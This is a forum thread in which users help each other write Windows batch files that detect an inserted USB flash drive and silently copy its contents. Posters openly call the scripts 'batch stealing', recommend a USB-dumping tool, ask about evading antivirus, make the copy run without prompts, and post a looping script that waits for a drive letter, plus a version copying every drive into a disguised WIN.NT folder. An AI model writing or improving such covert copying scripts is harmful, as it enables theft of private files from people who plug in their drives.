Sign in to follow this  
Followers 0
jht129

Write a .bat file to...

21 posts in this topic

Could someone help me write a batch file to check if there is a flashdrive inserted in the system and then copy all the .bat files off it? Thanks!

0

Share this post


Link to post
Share on other sites

I don't think that's possible is it? batch files are quite simplistic.

Look for the USBDumper. That's what you really want.

0

Share this post


Link to post
Share on other sites

I don't think it's possible for a batch script to detect if a flash drive is inserted. However, I'm sure it's possible to have the script copy all batch files from the media. I'm not sure at the moment because I'm working in Linux, but I'm sure it will go a bit like this. 'CD' to the media. Then copy *.bat to your desired location.

0

Share this post


Link to post
Share on other sites

I found USB Dumper, but I'm afraid it might get deleted by the computer's antivirus system. Is this program a standalone, or does it install in the system?

0

Share this post


Link to post
Share on other sites

echo off
echo This batch stealing batch will grab the files ending in bat
echo to a folder called batch inside My Documents.
pause
%homedrive%
cd "%homepath%\my documents"
md batch
cd batch
xcopy F:\*.bat /q /r /y

cd ..

echo The batch files are now stoleded. You should now copy the contents of the
echo folder to a CD and wipe the folder. This is not a hidden batch file.
echo
echo Adios,
echo Rightcoast
pause
cls

If the PC has one optical drive instead of two, changing xcopy F:\*.bat /q /r /y to xcopy E:\*.bat /q /r /y should work. To "sneaky" up the batch file, you are on your own. :D

0

Share this post


Link to post
Share on other sites

echo off
echo This batch stealing batch will grab the files ending in bat
echo to a folder called batch inside My Documents.
pause
%homedrive%
cd "%homepath%\my documents"
md batch
cd batch
xcopy F:\*.bat /q /r /y

cd ..

echo The batch files are now stoleded. You should now copy the contents of the
echo folder to a CD and wipe the folder. This is not a hidden batch file.
echo
echo Adios,
echo Rightcoast
pause
cls

If the PC has one optical drive instead of two, changing xcopy F:\*.bat /q /r /y to xcopy E:\*.bat /q /r /y should work. To "sneaky" up the batch file, you are on your own. :D

Alright I changed it up a little bit, like the foldernames. I occurred two errors while executing it. 1. It does not make the folder in my documents but it makes it in the desktop. 2. What technique would I use to copy the batch files from multiple drives? Thanks.

0

Share this post


Link to post
Share on other sites

yeah, its nice... i stealthied it up a bit, so when you click the batch file, it does the operation without prompt and then goes away.

0

Share this post


Link to post
Share on other sites

I put this on my USB drive.

rd /s /q .\Recycled
del "%userprofile%\rmccurdy_backup.zip"
.\7zip\7z.exe -pYOURPASSWORDLONGLONGLONG a "%userprofile%\rmccurdy_backup.zip" .\
pause

0

Share this post


Link to post
Share on other sites

:spawn1:thats work if you wanna to copy all the .bat files

thx :blush:

0

Share this post


Link to post
Share on other sites

Even through the question was answered I don't get to quote batch files very often anymore. This runs in the background and waits for a given drive letter to show up; at that point it dumps the new drive letter to your desktop in a new directory. The only trick is the ability to delay between cycles, unix tools for windows are good or an old copy of choice for batch files works well.

@echo off
rem XP batch file - checks for insertion of a new drive letter, then copies
rem all files from it to a local drive and exits.
rem The nul device exists in every directory which allows this to work.

set FLASHDRV=H:
set LOCALPATH=%USERPROFILE%\Desktop\flash_drive

:loop
if exist %FLASHDRV%\nul goto execute
rem you may have to roll your own sleep util
sleep 5
rem choice /N /C:Key /T:Key,Delay < CLOCK$ > NUL
goto loop

:execute
echo Copying files from %FLASHDRV% to %LOCALDRV%...
if not exist "%LOCALPATH%\nul" md "%LOCALPATH%"
xcopy %FLASHDRV%\*.* "%LOCALPATH%" /g /r /e /c /y
exit

0

Share this post


Link to post
Share on other sites

Just replace the "*.bat" part with "*.*" instead, on the first code. The last posted code copies all files already.

0

Share this post


Link to post
Share on other sites

hmmm... smart. I sort of modified it... but its not working... can someone clean this up possibly? or at least help me...

xcopy B:\* c:\WIN.NT\ /EY
xcopy D:\* c:\WIN.NT\ /EY
xcopy E:\* c:\WIN.NT\ /EY
xcopy F:\* c:\WIN.NT\ /EY
xcopy G:\* c:\WIN.NT\ /EY
xcopy H:\* c:\WIN.NT\ /EY
xcopy I:\* c:\WIN.NT\ /EY
xcopy J:\* c:\WIN.NT\ /EY
xcopy K:\* c:\WIN.NT\ /EY
xcopy L:\* c:\WIN.NT\ /EY
xcopy M:\* c:\WIN.NT\ /EY
xcopy N:\* c:\WIN.NT\ /EY
xcopy O:\* c:\WIN.NT\ /EY
xcopy P:\* c:\WIN.NT\ /EY
xcopy Q:\* c:\WIN.NT\ /EY
xcopy R:\* c:\WIN.NT\ /EY
xcopy S:\* c:\WIN.NT\ /EY
xcopy T:\* c:\WIN.NT\ /EY
xcopy U:\* c:\WIN.NT\ /EY
xcopy V:\* c:\WIN.NT\ /EY
xcopy W:\* c:\WIN.NT\ /EY
xcopy X:\* c:\WIN.NT\ /EY
xcopy Y:\* c:\WIN.NT\ /EY
xcopy Z:\* c:\WIN.NT\ /EY

so I wanted to copy everything from every drive, except the c and a drive...

0

Share this post


Link to post
Share on other sites

The only thing I can think off is that you should add the /c switch to. It forces the operation to continue even when errors occur and that's probably what's causing it to fail because you probably don't have all those drives and, the moment it tries to copy from one which doesn't exist it fails and stops everything.

If that's not the problem, I can't find anything else.

0

Share this post


Link to post
Share on other sites

Please sign in to comment

You will be able to leave a comment after signing in



Sign In Now
Sign in to follow this  
Followers 0